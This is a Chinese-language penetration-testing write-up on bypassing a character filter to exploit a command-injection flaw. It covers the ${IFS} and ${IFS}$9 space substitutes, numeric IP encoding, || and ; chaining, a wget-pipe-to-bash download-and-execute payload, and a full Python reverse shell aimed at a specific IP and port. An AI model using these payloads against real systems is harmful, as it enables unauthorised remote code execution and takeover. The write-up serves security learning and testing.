一次命令执行漏洞的绕过之我是菜逼
字数 955 2025-08-05 08:19:06

命令执行漏洞绕过技术详解

漏洞发现与初步测试

  1. 漏洞发现:通过搜索响应中的关键字,发现一处报错信息可能包含命令执行漏洞
  2. 初始测试
    • 使用whoami测试回显 → 无回显
    • 尝试使用DNSLog测试 → 发现特殊字符被过滤

过滤机制分析

  1. 被过滤的特殊字符

    • .()&:/、空格([space])
    • 这些字符都被替换为-字符
  2. 绕过思路

    • 需要证明是否存在命令执行漏洞
    • 将IP地址转换为数字形式绕过.过滤
    • 使用替代方法绕过空格过滤

空格绕过技术

  1. ${IFS}绕过

    • 在Linux下,${IFS}是分隔符,可以替代空格
    • 示例:${IFS}
  2. \({IFS}\)9绕过

    • $起截断作用
    • 9为当前shell进程的第九个参数,始终为空字符串
    • 示例:${IFS}$9

命令执行验证

  1. 构造payload

    • 使用||;闭合命令前后部分
    • 示例:111||wget${IFS}3162736550;
  2. 反弹shell尝试

    • 直接编码(base64或hex)反弹shell → 超过长度限制
    • 改用wget下载并执行payload

下载执行payload方法

  1. wget下载执行

    wget -q -O - http://xxx.com | bash
    
    • -q:安静模式
    • -O -:输出到标准输出
  2. 实际payload构造

    11||wget${IFS}-q${IFS}-O${IFS}-${IFS}xxxxxxxxx|bash;
    

反弹shell技术

  1. Python反弹shell

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    
  2. 遇到的问题

    • /bin/bash路径可能不正确 → 尝试替换为/bin/sh

经验总结

  1. 漏洞发现技巧

    • 通过响应中指纹关键词搜索快速定位问题
    • 关注SQL语句报错、代码执行的error信息等
  2. 命令连接符问题

    • 思考为什么命令连接符没有被过滤
    • 这可能是防御机制的薄弱点
  3. 技术提升方向

    • 需要熟悉更多绕过技术
    • 掌握多种编程语言的反弹shell方法
    • 了解不同系统的路径差异

完整绕过流程总结

  1. 确认存在命令执行漏洞
  2. 分析过滤规则,找出被过滤的字符
  3. 使用数字IP绕过.过滤
  4. 使用${IFS}${IFS}$9绕过空格过滤
  5. 构造payload时使用||;闭合命令
  6. 当直接反弹shell受限时,采用下载执行方式
  7. 尝试多种反弹shell方法(Python、Bash等)
  8. 注意系统路径差异(/bin/bash vs /bin/sh)
命令执行漏洞绕过技术详解 漏洞发现与初步测试 漏洞发现 :通过搜索响应中的关键字,发现一处报错信息可能包含命令执行漏洞 初始测试 : 使用 whoami 测试回显 → 无回显 尝试使用DNSLog测试 → 发现特殊字符被过滤 过滤机制分析 被过滤的特殊字符 : . 、 ( 、 ) 、 & 、 : 、 / 、空格( [space] ) 这些字符都被替换为 - 字符 绕过思路 : 需要证明是否存在命令执行漏洞 将IP地址转换为数字形式绕过 . 过滤 使用替代方法绕过空格过滤 空格绕过技术 ${IFS}绕过 : 在Linux下, ${IFS} 是分隔符,可以替代空格 示例: ${IFS} ${IFS}$9绕过 : $ 起截断作用 9 为当前shell进程的第九个参数,始终为空字符串 示例: ${IFS}$9 命令执行验证 构造payload : 使用 || 和 ; 闭合命令前后部分 示例: 111||wget${IFS}3162736550; 反弹shell尝试 : 直接编码(base64或hex)反弹shell → 超过长度限制 改用wget下载并执行payload 下载执行payload方法 wget下载执行 : -q :安静模式 -O - :输出到标准输出 实际payload构造 : 反弹shell技术 Python反弹shell : 遇到的问题 : /bin/bash 路径可能不正确 → 尝试替换为 /bin/sh 经验总结 漏洞发现技巧 : 通过响应中指纹关键词搜索快速定位问题 关注SQL语句报错、代码执行的error信息等 命令连接符问题 : 思考为什么命令连接符没有被过滤 这可能是防御机制的薄弱点 技术提升方向 : 需要熟悉更多绕过技术 掌握多种编程语言的反弹shell方法 了解不同系统的路径差异 完整绕过流程总结 确认存在命令执行漏洞 分析过滤规则,找出被过滤的字符 使用数字IP绕过 . 过滤 使用 ${IFS} 或 ${IFS}$9 绕过空格过滤 构造payload时使用 || 和 ; 闭合命令 当直接反弹shell受限时,采用下载执行方式 尝试多种反弹shell方法(Python、Bash等) 注意系统路径差异( /bin/bash vs /bin/sh )